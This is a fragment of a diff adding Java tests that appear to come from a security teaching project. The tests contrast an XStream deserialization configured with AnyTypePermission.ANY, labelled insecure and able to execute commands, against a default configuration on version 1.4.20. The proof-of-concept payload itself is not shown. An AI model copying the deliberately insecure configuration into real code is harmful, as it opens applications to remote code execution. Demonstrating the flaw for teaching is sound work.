+ }
+
+ /**
+ * Command execute
+ */
+ @Test
+ public void vuln01() {
+ System.out.println(poc_xml);
+ XStream xstream = new XStream();
+ xstream.addPermission(AnyTypePermission.ANY); // Insecure configuration
+ xstream.fromXML(poc_xml); // Deserialize
+ }
+
+
+ /**
+ * Security code. XStream version: 1.4.20
+ */
+ @Test
+ public void sec01() {
+ System.out.println(poc_xml);
+ XStream xstream = new XStream();
+ xstream.fromXML(poc_xml); // Deserialize
+ }
+
+}